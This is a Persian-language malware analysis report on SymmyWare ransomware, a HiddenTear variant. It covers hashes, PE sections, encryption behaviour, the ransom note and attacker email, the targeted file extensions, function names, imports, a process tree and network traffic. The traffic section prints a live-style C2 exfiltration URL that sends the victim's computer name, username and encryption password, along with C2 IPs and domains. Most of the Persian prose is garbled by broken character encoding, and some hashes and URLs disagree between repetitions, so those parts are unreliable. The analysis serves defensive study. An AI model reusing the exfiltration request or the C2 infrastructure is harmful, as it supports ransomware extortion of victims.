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 مقذمه :

ی  اس خاااًَانُ ج راا ی  ًوًَااِااااشارا اس واازٍا اعالجاا   ٍ رصاا  ایااای سااار زی نر سهجٌااِ بااا  هشاااّ ُ

HiddenTear بِ ًام Symmyware 1تاررخ ااشار نر اعالج  اري با کِ نّ  ّا ًشاى هیبزرسی .نّ  خ ز هی 

 CBC - 128نر حالا    AESااشار اس الگَررتن رهشًگاری  اري با اس .  وزٍا و ُهجلانی  2118سال ًَاه ز 

ّااری خااو ٍ باا     ّاای هَجاَن نر نارزکتاَری    کٌا  ٍ تٌْاا اارال    ّا استفانُ هی بزای رهشگذاری اارلبجتی 

ّاای اًااام    ط ق بزرسیکٌ .  ّا اوارُ خَاّجن ًوَنا رهشگذاری هی کِ نر اناهِ بِ آىرا  هشخصپسًَ ّاری 

نر ّوااى   hyBrDFjOidLuty.exe ٍ PsExec.exe ّاای  با ًام اارل اجزاری نٍ ااجزا پس اسااشار  و ُ اري با 

اارال   ّاا تَسا    اارال کٌا  کاِ تواام ازارٌا  رهشگاذاری       ارااان های  نارزکتَری کِ اارل اصلی ٍجَن نارنا 

hyBrDFjOidLuty.exe اجزاری هاَرن اواارُ پاس اس اتواام ازارٌا  رهشگاذاری        ّای ٍ اارل گجزن هی صَرت

 باو  :   بِ صَرت سرز هی Symmywareااشار  رابی با  ّای اًاام و ُ ررشِ ط ق بزرسی . ًوَ حذف هی

HiddenTear >>  Scrabber , EnybenyCrypt , SnowPicnic ,  SymmyWare 

نّا  ٍ اس   تغججاز های   "SYMMYWARE."ّاا را باِ    ّاا پسًَ  آى هَرن اوارُ پس اس رهشگذاری اارل ااشاربا 

 کٌ . هیکَري  قزباًجاى تقاضای پزناخ  بج 

 

 : اجرایی های مشخصات فایل

 : SymmyWare افسار مشخصات فایل اصلی باج -1

 jisMlDfmBgdeF.exe نام فایل

MD5 fc8682555b7e0dd5c67269ec00cf29a0 

SHA-1 bba34a57b332568b6c5e5bd23d4038b2f9b46376 

SHA-652 7e0ff0686bbc8858a5b54d35c6f3ac752007704cede5ee555b78af565783c856 

 KB 324 انذازه فایل

 PureBasic 3.x -> Neil Hodgson کامپایلر

آیکون فایل 

  اجرایی

 

 

https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00010197-00003608
https://id-ransomware.blogspot.com/2018/10/scrabber-ransomware.html
https://id-ransomware.blogspot.com/2018/10/enybenycrypt-ransomware.html
https://id-ransomware.blogspot.com/2018/10/snowpicnic-ransomware.html


 

  3 

 

  

 : hyBrDFjOidLuty.exeمشخصات فایل  -6

 hyBrDFjOidLuty.exe نام فایل

MD5 6ca446da5a65585776073b8caaa75c54 

SHA-1 f5594075284f72bf28c945debe38ac83cfbb7092 

SHA-652 da80740850bd7fe93fca8c4837eb83552b5f76b32cd373840b6b07dd8de3f9ac 

 KB 2008 انذازه فایل

 Microsoft visual C# v700 / Basic .NET کامپایلر

آیکون فایل 

  اجرایی

 

 بخش اس  : پٌجنارای  SymmyWare با  ااشاراصلی اارل 

 انذازه خام انذازه مجازی آدرس مجازی آنتروپی نام بخش
.code 5.23 4196 13715 13824 

.text 6.59 21481 46133 46181 

.rdata 6.62 69632 2438 2561 

.data 5.43 73728 7128 5632 

.rsrc 6.34 81921 363592 364132 

 

 : باو  هیًجش نارای سِ بخش  hyBrDFjOidLuty.exeاارل 

 انذازه خام انذازه مجازی آدرس مجازی آنتروپی نام بخش
.text 5.23 8192 16421 16896 

.rsrc 4.38 32768 2864 3172 

.reloc 1.18 41961 12 512 
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 تحلیل پویا :

اارل اجزاری آى را نر هحاج  آسهارشاگاّی اجازا کازنرن تاا      ا SymmyWareااشار  تز با بزای بزرسی عوجق

اااشار  باا  کاِ  ًتارج حاصل اس اري بزرسای ًشااى نان   ااشار را اس ًشنرک هَرن بزرسی قزار نّجن.  عولکزن با 

نر ّوااى   hyBrDFjOidLuty.exe  ٍPsExec.exeّاای   نٍ اارال اجزارای باا ًاام     هَرن اوارُ پاس اس اجازاا  

ّا  َر کِ اوارُ و  توام ازارٌ  رهشگذاری اارلکٌ  کِ ّواًط نارزکتَری کِ اارل اصلی ٍجَن نارنا اراان هی

ًجش جْ  اجزای نساتَرات اس راُ   PsExec.exeاارل  ٍ گجزن صَرت هی hyBrDFjOidLuty.exeتَس  اارل 

واًَ .   ّای اجزاری هَرن اوارُ پس اس اتوام ازارٌ  رهشگذاری حذف هی اارل وَن. نٍر احتوالیا استفانُ هی

 باو  : ااشار هی ّای اراان و ُ ٍ ازارٌ ّای هزبَط بِ با  تصاٍرز سرز هزبَط بِ اارل

 

 ّای اراان و ُ : اارل1تصَرز 

https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00010197-00003608
https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00010197-00003608
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 ااشار ازارٌ ّای اجزا و ُ نر طَل اعالج  با : 2تصَرز 

عٌاَاى   تحا   هتٌای  راک اارال   کٌ  ٍ استارت هی را ریٍرٌ ٍس  اکسپلَررااشار پس اس اجزا  اري با ّوچٌجي 

SIMMYWARE.TXT  بز رٍیDesktop ى وااهل پجغاام     کِ هحتَای آکٌ هیاراان ّای هختلف  ٍ نارزکتَری

تصَرز سرز هزبَط باِ پجغاام    .راب  هیااشار خاتوِ  ای با ازارٌ  هزبَط بِ اجزباو  ٍ نر ًْار   خَاّی هی با 

 باو  : ااشار هی خَاّی با  با 
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بجتای   AES 128باا اساتفانُ اس الگاَررتن    ّاا را   توام اارل اً  کزنُهْاجوجي اعلام  اخَاّی بز اساس پجغام با 

هْااجوجي نر پجغاام    ّاا ًجساتٌ .   ب ٍى ابشار رهشگشاری قانر باِ رهشگشااری آى   ٍ قزباًجاى اً  کزنُرهشگذاری 

جاى قزباًکِ اً   اً  اها اعلام ًوَنُ کَري ًٌوَنُ خَاّی ٍ آنرس کجف پَل بج  ای بِ ه لغ با  خَاّی اوارُ با 

ّااا   اارل جْ  رهشگشاری simmyware@protonmail.chاس طزرق آنرس اروجل   پس اس پزناخ  ه لغ با 

ساع  بِ قزباًجاى هْلا    48خَاّی  ّا ارت اط بزقزار ًوارٌ . ّوچٌجي هْاجوجي بزای پزناخ  ه لغ با  با آى

 ّا آغاس خَاّ  و . حذف اارلازارٌ   اري ه لغااً  ٍ نر صَرت ع م پزناخ   نانُ

بزای رهشگذاری  بجتی CBC - 128نر حال   AESااشار اس الگَررتن رهشًگاری  اري با ّواًطَر کِ اوارُ و  

 ّاا را  سرازا بااقی نارزکتاَری    ّای نارزکتَریّای هَجَن نر  ااشار بِ جش اارل اري با . کٌ  ّا استفانُ هی اارل

 :  نّ   قزار هیهَرن ّ ف 

Windows, Program Files, Program Files (x86) 

 ااشار : ّای هَرن ّ ف با  لجس  اارل

.txt, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .odt, jpeg, .png, .csv, .sql, .mdb, .sln, .php, .asp, .aspx, 

.html, .xml, .psd, .sql, .mp4, .7z, .rar, .m4a, .wma, .avi, .wmv, .csv, .d3dbsp, .zip, .sie, .sum, 

.ibank, .t13, .t12, .qdf, .gdb, .tax, .pkpass, .bc6, .bc7, .bkp, .qic, .bkf, .sidn, .sidd, .mddata, .itl, 

.itdb, .icxs, .hvpl, .hplg, .hkdb, .mdbackup, .syncdb, .gho, .cas, .svg, .map, .wmo, .itm, .sb, 

.fos, .mov, .vdf, .ztmp, .sis, .sid, .ncf, .menu, .layout, .dmp, .blob, .esm, .vcf, .vtf, .dazip, .fpk, 

.mlx, .kf, .iwd, .vpk, .tor, .psk, .rim, .w3x, .fsh, .ntl, .arch11, .lvl, .snx, .cfr, .ff, .vpp_pc, .lrf, .m2, 

mailto:simmyware@protonmail.ch
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.mcmeta, .vfs1, .mpqge, .kdb, .db1, .dba, .rofl, .hkx, .bar, .upk, .das, .iwi, .litemod, .asset, 

.forge, .ltx, .bsa, .apk, .re4, .sav, .lbf, .slm, .bik, .epk, .rgss3a, .pak, .big, wallet, .wotreplay, 

.xxx, .desc, .py, .m3u, .flv, .js, .css, .rb, .p7c, .pk7, .p7b, .p12, .pfx, .pem, .crt, .cer, .der, .x3f, 

.srw, .pef, .ptx, .r3d, .rw2, .rwl, .raw, .raf, .orf, .nrw, .mrwref, .mef, .erf, .kdc, .dcr, .cr2, .crw, 

.bay, .sr2, .srf, .arw, .3fr, .dng, .jpe, .jpg, .cdr, .indd, .ai, .eps, .pdf, .pdd, .dbf, .mdf, .wb2, .rtf, 

.wpd, .dxg, .xf, .dwg, .pst, .accdb, .mdb, .pptm, .pptx, .ppt, .xlk, .xlsb, .xlsm, .xlsx, .xls, .wps, 

.docm, .docx, .doc, .odb, .odc, .odm, .odp, .ods, .odt, .veg, .ico, .lnk 

  ٍ ّواًطَر کاِ قابال هشااّ ُ    باوااشار هیّای رهشگذاری و ُ تَس  اري با اارل نٌّ ُتصَرز سرز ًشاى

ّااری کاِ ًاام     ا ّوچٌجي اارال ّاری با پسًَ ّای هشخص را رهشگذاری ًوَنُ اس  اارلااشار  اري با  اس 

 "SYMMYWARE." ّا پساًَ   پس اس رهشگذاری اارل باو  را ًجش رهشگذاری کزنُ ٍ بِ سباى اارسی هیّا  آى

 .کٌ  هیاضااِ  ّا آىبِ اًتْای را 

 

ّاا   اارل ط ق هشاّ ات صَرت گزاتِا نر صَرت بالا بَنى ظزاج  هٌابع سجستن قزباًیا سزع  رهشگذاری

ااشار بِ طَر هجااًگجي اس   واّ  بَنرن کِ اري با  SymmyWareااشار  ٌّگام اجزای با  .ًجش بالاتز خَاّ  بَن

کٌ . ّوچٌجي ه ت  استفانُ هی (RAM)نرص  ظزاج  حااظِ  21الی  15ا ٍ CPUنرص  ظزاج   75بجش اس 
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کٌ ا  ری هیّاری با پسًَ ّای هشخص را رهشگذا ااشار تٌْا اارل ّا با تَجِ بِ ارٌکِ با  سهاى رهشگذاری اارل

ّاای صاَرت گزاتاِ نر هحاج       نارنا باِ طاَر هلاال ط اق بزرسای      ّاا  آى ّا ٍ تع ان ن اارلبستگی بِ حا

نقجقِ باَن. تصاَرز    2گجگابار ا  25آسهارشگاُا ه ت سهاى لاسم جْ  رهشگذاری رک ّارن نرسک با حان 

ری ی وازٍا تاا اًتْاای ازارٌا  رهشگاذا      ااشارا اس لحظِ سرز هزبَط بِ ًوَنار هصزف هٌابع سجستن تَس  با 

 باو  : هی

 

ااشار را بِ عٌَاى رک تزٍجاى وٌاسااری  ّای هعت زا اري با ٍرزٍسّای اًاام و ُ اکلز آًتیبز اساس بزرسی

ِ ّای هت  ااشار بِ سجستن اس راُاً . لذا احتوال ًفَذ با  ًوَنُ بٌاابزاري    ّاا ٍجاَن نارن.  اٍل اس جولِ ّزسًاها

 گزنن اس باس ًوَنى ّزگًَِ اروجل حاٍی پجَس  هشکَک ج اً خَنناری ًوارٌ . تَصجِ هی

 

 تحلیل ایستا:

ّااای  اجاازا نٍ ااراال اجزاراای بااا ًااام    پااس اس SymmyWareااااشار  ّواااًطَر کااِ اوااارُ واا  بااا    

hyBrDFjOidLuty.exe  ٍPsExec.exe   کٌا  کاِ    نر ّواى نارزکتَری کِ اارل اصلی ٍجَن نارنا ارااان های

اارال   کا   تحلجل گجزن. پس اس صَرت هی hyBrDFjOidLuty.exeتَس  اارل  ّا توام ازارٌ  رهشگذاری اارل

 بِ ًتارج سرز نس  پج ا کزنرن. hyBrDFjOidLutyاجزاری هَرن اوارُ با ًام 

https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00010197-00003608
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ّای هختلف ق ل ٍ بع  اس رهشگذاری اًاام نانران وااّ  اراي باَنرن کاِ       ّاری کِ بز رٍی اارل ط ق بزرسی

ای  نّ . تصَرز سرز ًوًَِ ّا را پس اس رهشگذاری بِ طَر کاهل تغججز هی ساختار اارل SymmyWareااشار  با 

 نّ  :   ّا را ًشاى هی اس تغججزات ساختار اارل

 

تَضجحات هزت   با تَاباع نر راک جا ٍل     باو  کِ هیااشار  با  ()startActionقطعِ ک  سرز هزبَط بِ تابع 

   آه ُ اس .
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 CreateRandomString(15,) ّا کاراکتزیا جْ  رهشگذاری اارل 15 روتِاراان رک 

 ()restart_explorer_ ٍرٌ ٍس اکسپلَرراستارت ًوَنى  ری

 ()GetLogicalDrives وَن. جْ  ازاخَاًی نرارَّای هَجَن استفانُ هیاري تابع 

ّاای   ّاا ٍ اارال   هزبَط بِ رهشگاذاری نارزکتاَری  اري تابع 

 باو . هَرن اوارُ هی
encryptDirectory(,) 

 ()messageCreator باو .  خَاّی هی هزبَط بِ تابع اراان اارل پجغام با اري تابع 

کٌ  کِ سجستن قزباًی بِ ارٌتزً  هتصال   بزرسی هیاري تابع 

 .اس  را خجز
CheckForInternetConnection() 

با ازاخَاًی اري تابعا اطلاعات هزبَط بِ سجستن قزباًی باِ  

ّاا بِ سزٍر کٌتازل   پسَرن هزبَط بِ رهشگذاری اارل ّوزاُ

 گزنن. ااشار ارسال هی ٍ ازهاى با 
SendPassword() 

کااراکتزی باِ صاَرت     15 روتِباو  کِ رک  هی CreateRandomString(15,)قطعِ ک  سرز هزبَط بِ تابع 

 کٌ  : ّا ٍ هٌحصزبفزن بزای ّز قزباًی اراان هی تصانای جْ  رهشگذاری اارل

 

استارت  ری ٍرٌ ٍس اکسپلَررکِ با ازاخَاًی آى باو   هی ()restart_explorer_قطعِ ک  سرز هزبَط بِ تابع 

 وَن : هی
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ااشار با استفانُ اس اري تابع تواهی  باو  کِ با  هی()GetLogicalDrives قطعِ ک  سرز هزبَط بِ تابع 

 کٌ  : ّا اسکي هی اارل نرارَّای هَجَن بز رٍی سجستن قزباًی را جْ  رهشگذاری

 

ّاای   ّاا ٍ نارزکتاَری   باو  کِ با ازاخاَاًی آى اارال   هی (,)encryptDirectoryقطعِ ک  سرز هزبَط بِ تابع 

 وَن : ااشار رهشگذاری هی هَرن ّ ف با 
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 نرخَاّی را  اارل هزبَط بِ پجغام با  ااشار با  باو  کِ هی ()messageCreatorقطعِ ک  سرز هزبَط بِ تابع 

 کٌ . اراان هی SIMMYWARE.TXTٍ تح  عٌَاى  ّای هختلف نارزکتَری

 

قطعِ  اري با  ااشار با استفانُ اسباو  کِ  هی ()CheckForInternetConnectionقطعِ ک  سرز هزبَط بِ تابع 

 : کٌ  سجستن قزباًی بزرسی هیرا نر ٍضعج  اتصال بِ ارٌتزً   اک 
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اطلاعات هزبَط بِ سجساتن  باو  کِ با ازاخَاًی اري تابع  هی ()SendPasswordقطعِ ک  سرز هزبَط بِ تابع 

   گزنن. ااشار ارسال هی ّاا بِ سزٍر کٌتزل ٍ ازهاى با  قزباًی بِ ّوزاُ پسَرن هزبَط بِ رهشگذاری اارل

 

نر قطعاِ کا  سراز     ّا ی هزبَط بِ اراان پسَرن جْ  رهشگذاری اارل ٍ روتِ هشکَک ب س  آه ُ ی ناهٌِ

 قابل هشاّ ُ اس  :
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ًوارا ا   بجتی استفانُ های  CBC 128نر حال   AESااشار اس الگَررتن رهشًگاری  ّواًطَر کِ اوارُ ًوَنرن با 

 باو  : قطعِ ک  سرز هزبَط بِ اري ازارٌ  هی

 

عالاٍُ باز ازاخاَاًی تَاباع هختلاف ّواًٌا  تاابع        باو  کِ  هی (,)EncryptFileتابع قطعِ ک  سرز هزبَط بِ 

AES_Encrypt(,) باو ا با استفانُ اس تاابع   کِ هزبَط بِ الگَررتن رهشًگاری هیMove(,)   ّاای   پساًَ  اارال

 : نّ  تغججز هی "SYMMYWARE."ااشار را بِ  هَرن ّ ف با 

 

اس  ابعتا راک  بِ ّوزاُ سرز  یٌ ٍسرٍ  کتابخاًِاق  اس  SymmyWare ااشار اجزاری اراان و ُ تَس  با  اارل

 .کٌ  یاستفانُ ه آىا

mscoree.dll 
_CorExeMain  
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ِ   یبِ ّوزاُ تَابع یٌ ٍسرٍ یّا کتابخاًِاس  SymmyWareااشار با اها اارل اصلی  ّاا   اس ّزکا ام اس کتابخاًا

ّا بِ خَبی قابل هشاّ ُ اس ا ّوچٌجي لجس  کاهل اراي  ا نر تصَرزا استفانُ اس اري کتابخاًِکٌ  یاستفانُ ه

 ی هتي آه ُ اس .ّا بِ ّوزاُ تَابع هَرن استفانُ ًجش نر اناهِکتابخاًِ

 

SHLWAPI.DLL SHELL42.dll OLE42.DLL WINMM.DLL COMCTL42.DLL 
PathRemoveArgsA 
PathAddBackslashA 
PathQuoteSpacesA 
PathGetArgsA 
PathUnquoteSpacesA 
PathRenameExtensionA 

ShellExecuteExA RevokeDragDrop 
CoTaskMemFree 
CoInitialize 

timeBeginPeriod InitCommonControl
sEx 

 

KERNEL42.dll KERNEL42.dll KERNEL42.dll MSVCRT.dll GDI42.DLL 
GetTempFileNameA 
GetSystemDirectoryA 
HeapReAlloc 
SetEnvironmentVariableA 
SetFileAttributesA 
GetExitCodeProcess 
TerminateProcess 
GetModuleFileNameA 
InitializeCriticalSection 
LoadResource 
SetCurrentDirectoryA 
Sleep 
CreateFileA 
ExitProcess 
GetCurrentThreadId 
FindResourceA 
GetFileSize 

GetNativeSystemInfo 
GetEnvironmentVariableA 
HeapFree 
EnterCriticalSection 
HeapCreate 
FreeLibrary 
HeapDestroy 
HeapAlloc 
TlsAlloc 
GetVersionExA 
LoadLibraryA 
RemoveDirectoryA 
GetShortPathNameA 
DeleteCriticalSection 
GetCurrentProcess 
SizeofResource 
GetCurrentDirectoryA 

CreateDirectoryA 
DeleteFileA 
GetWindowsDirectory
A 
MultiByteToWideChar 
HeapSize 
GetCommandLineA 
GetProcAddress 
SetFilePointer 
GetTempPathA 
WideCharToMultiByte 
GetModuleHandleA 
ReadFile 
SetUnhandledExceptio
nFilter 
WriteFile 

strncmp 
malloc 
strstr 
tolower 
fabs 
memmove 
memset 
fclose 
memcpy 
_stricmp 
floor 
strcpy 
sprintf 
_strnicmp 
free 
ceil 
strlen 

GetObjectA 
DeleteDC 
SelectObject 

GetTextExtentPoint32A 

GetStockObject 
CreateBitmap 
SetPixel 
CreateSolidBrush 
GetDIBits 
GetObjectType 
BitBlt 
SetBkColor 
CreateDIBSection 
CreateCompatibleDC 
DeleteObject 
SetTextColor 
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SetLastError 
LeaveCriticalSection 

GetCurrentProcessId 
CloseHandle 

strcmp 
strncpy 

 

USER42.DLL USER42.DLL USER42.DLL USER42.DLL USER42.DLL 
CharLowerA 
GetWindowRect 
DispatchMessageA 
EnableWindow 
PostMessageA 
EnumChildWindows 
MessageBoxA 
PeekMessageA 
SetWindowLongA 
AdjustWindowRectEx 
TranslateMessage 
SendMessageA 

CharUpperA 
LoadCursorA 
LoadIconA 
GetMessageA 
GetActiveWindow 
CreateWindowExA 
RegisterClassA 
SetRect 
GetWindowLongA 
GetPropA 
SetWindowPos 
GetClientRect 

IsWindowEnabled 
GetWindow 
GetSysColor 
SetActiveWindow 
GetDC 
GetKeyState 
DrawTextA 
RemovePropA 
DefFrameProcA 
DestroyIcon 
UnregisterClassA 
IsWindowVisible 

GetWindowTextLengthA 
DestroyAcceleratorTable 
GetSysColorBrush 
CallWindowProcA 
GetClassNameA 
GetFocus 
MsgWaitForMultipleObj
ects 
TranslateAcceleratorA 
GetWindowTextA 
CreateAcceleratorTableA 
IsChild 
DestroyWindow 

SetFocus 
RedrawWindow 
GetForegroundWindow 
GetParent 
ReleaseDC 
SetPropA 
FillRect 
EnumWindows 
RegisterWindowMessageA 
DefWindowProcA 
ShowWindow 
GetSystemMetrics 
GetWindowThreadProcessId 

 

 

 

 : کٌ  پس اس اجزا ازارٌ ّای سرز را اراان هی SymmyWare ااشارّای صَرت گزاتِا با بز اساس بزرسی

 jisMlDfmBgdeF.exe   

     cmd.exe /c "%TEMP%\58F4.tmp\5503.bat C:\jisMlDfmBgdeF.exe" 

o   PsExec.exe psexec hyBrDFjOidLuty.exe /accepteula -s –high 

o        hyBrDFjOidLuty.exe /accepteula -s –high 
o               explorer.exe  
o               explorer.exe  

  تحلیل ترافیک شبکه :

ّای قزباًی را رهشگذاری  اارل قزباًی بِ ارٌتزً  ًجشجستن نر صَرت هتصل ً َنى س Symmywareبا  ااشار 

ّا بِ سزٍر کٌتازل   بارستی اطلاعات سجستن قزباًی بِ ّوزاُ پسَرن رهشگذاری اارل ارٌکِ اها بِ نلجل اکٌ  هی

 هتصال بِ ارٌتزً  قزباًی تا سهاًی کِ سجستن  ااشار ط بِ اارل اجزاری با ا ازارٌ  هزبٍَ ازهاى آى ارسال وَن

 راب . اناهِ هینر پس سهجٌِ ا وَن

 نّ . را ًشاى هی Symmywareای با  ااشار  اٍرز سرز بخشی اس ارت اطات و کِتص

https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00009542-00003528
https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00010169-00002696
https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00010197-00003608
https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00010774-00002116
https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00011478-00003308
https://www.hybrid-analysis.com/sample/7e0ff0959bbc5565a8b83d46c9f4ac762007703cede8ee668b75af896754c569?environmentId=120#00014620-00003000
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 173.218.195.156تزااجک هزبَط بِ آی پی : 1تصَرز 

 

 72.9.151.244: تزااجک هزبَط بِ آی پی 2تصَرز 

 

 172.217.21.228: تزااجک هزبَط بِ آی پی 3تصَرز 

 باو . ا پس اس اجزای با  ااشار بِ وزح ج ٍل سرز هیDNS ّای نرخَاس 

 کشَر آنرس آی پی ناهٌِ
www.google.com 172.217.21.228 ارالات هتح ُ اهزرکا 

fairybreathes.5te.net 173.218.195.156 ارالات هتح ُ اهزرکا 
e.freewebhostingarea.com 72.9.151.244 ارالات هتح ُ اهزرکا 
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 باو . ا پس اس اجزای با  ااشار بِ وزح سرز هیHTTPنرخَاس  ّای 

1- http://fairybreathes.6te.net/write.php?info=Computer021-021PC%21Username021-

021admin021Password021-021GsUS?nJv?=nQJeT  

2- http://e.freewebhostingarea.com/413.html 

 

 ارت اط بزقزار کزنُ اس . ّا کِ با  ااشار با آىی ّار لجس  هجشباى

 ًام کشَر ووارُ پَرت آنرس آی پی

172.217.21.228 443 

TCP 
 ارالات هتح ُ اهزرکا

173.218.195.156 81 

TCP 

 ارالات هتح ُ اهزرکا

72.9.151.244 81 

TCP 

 ارالات هتح ُ اهزرکا
 

گَگل هَتَر جستاَی ا با بِ ارٌتزً  ابت ا جْ  بزرسی هتصل بَنى سجستن قزباًی Symmywareااشار  با 

اطلاعات هزبَط بِ قزباًیا با سزٍر کٌتزل ٍ ازهااى خاَن ارت ااط    جْ  ارسال کٌ ا سپس  ارت اط بزقزار هی

 کٌ . بزقزار هی

 اٍرز سرز قابل هشاّ ُ اس  :نر تص تزااجک و کِجشئجات بجشتز هزبَط بِ 

 

ٌّگام ارسال اطلاعات قزباًی بِ سزٍر کٌتزل ٍ ازهاى 173.218.195.156اطلاعات هزبَط بِ آی پی بخشی اس : 1تصَرز   

http://fairybreathes.6te.net/write.php?info=Computer%20-%20PC%20Username%20-%20admin%20Password%20-%20GsUS?nJv?=nQJeT
http://fairybreathes.6te.net/write.php?info=Computer%20-%20PC%20Username%20-%20admin%20Password%20-%20GsUS?nJv?=nQJeT
http://e.freewebhostingarea.com/403.html
https://www.hybrid-analysis.com/search?query=port%3A80
https://www.hybrid-analysis.com/search?query=port%3A80
https://www.hybrid-analysis.com/search?query=port%3A80
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72.9.151.244اطلاعات هزبَط بِ آی پی  بخشی اس :2تصَرز   

 

ٌّگام بزرسی هتصل بَنى سجستن قزباًی بِ ارٌتزً  172.217.21.228: بخشی اس اطلاعات هزبَط بِ آی پی 2تصَرز   
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 173.218.195.156: هَقعج  هکاًی آی پی 3تصَرز 

 

72.9.151.244: هَقعج  هکاًی آی پی 4تصَرز   

 : VirusTotalخروجی سامانه 

 : Symmyware افسار مربوط به فایل اصلی باج -1

 VirusTotalآًتی ٍرزٍس ٍ آًتای با ااشار هَجاَن نر سااهاًِ      67هَرن اس  44نر حال حاضز تع ان 

  کٌٌ . قانر بِ وٌاساری اري با  ااشار بَنُ ٍآى را حذف را غجزاعال هی
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 : hyBrDFjOidLuty.exeمربوط به فایل  -6

 VirusTotalآًتی ٍرزٍس ٍ آًتای با ااشار هَجاَن نر سااهاًِ      65هَرن اس  41نر حال حاضز تع ان 

  کٌٌ . قانر بِ وٌاساری اري با  ااشار بَنُ ٍآى را حذف را غجزاعال هی
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 کاو مرکس ماهر : خروجی سامانه ویروس

 : Symmyware افسار مربوط به فایل اصلی باج -1

آًتی ٍرزٍس ٍ آًتی ب ااشار هَجَن نر سااهاًِ باَهی ٍرازٍس     11هَرن اس  6نر حال حاضز تع ان 

 کٌٌ . کاٍ قانر بِ وٌاساری اري با  ااشار بَنُ ٍآى را حذف را غجزاعال هی

 

 : hyBrDFjOidLuty.exeمربوط به فایل  -6
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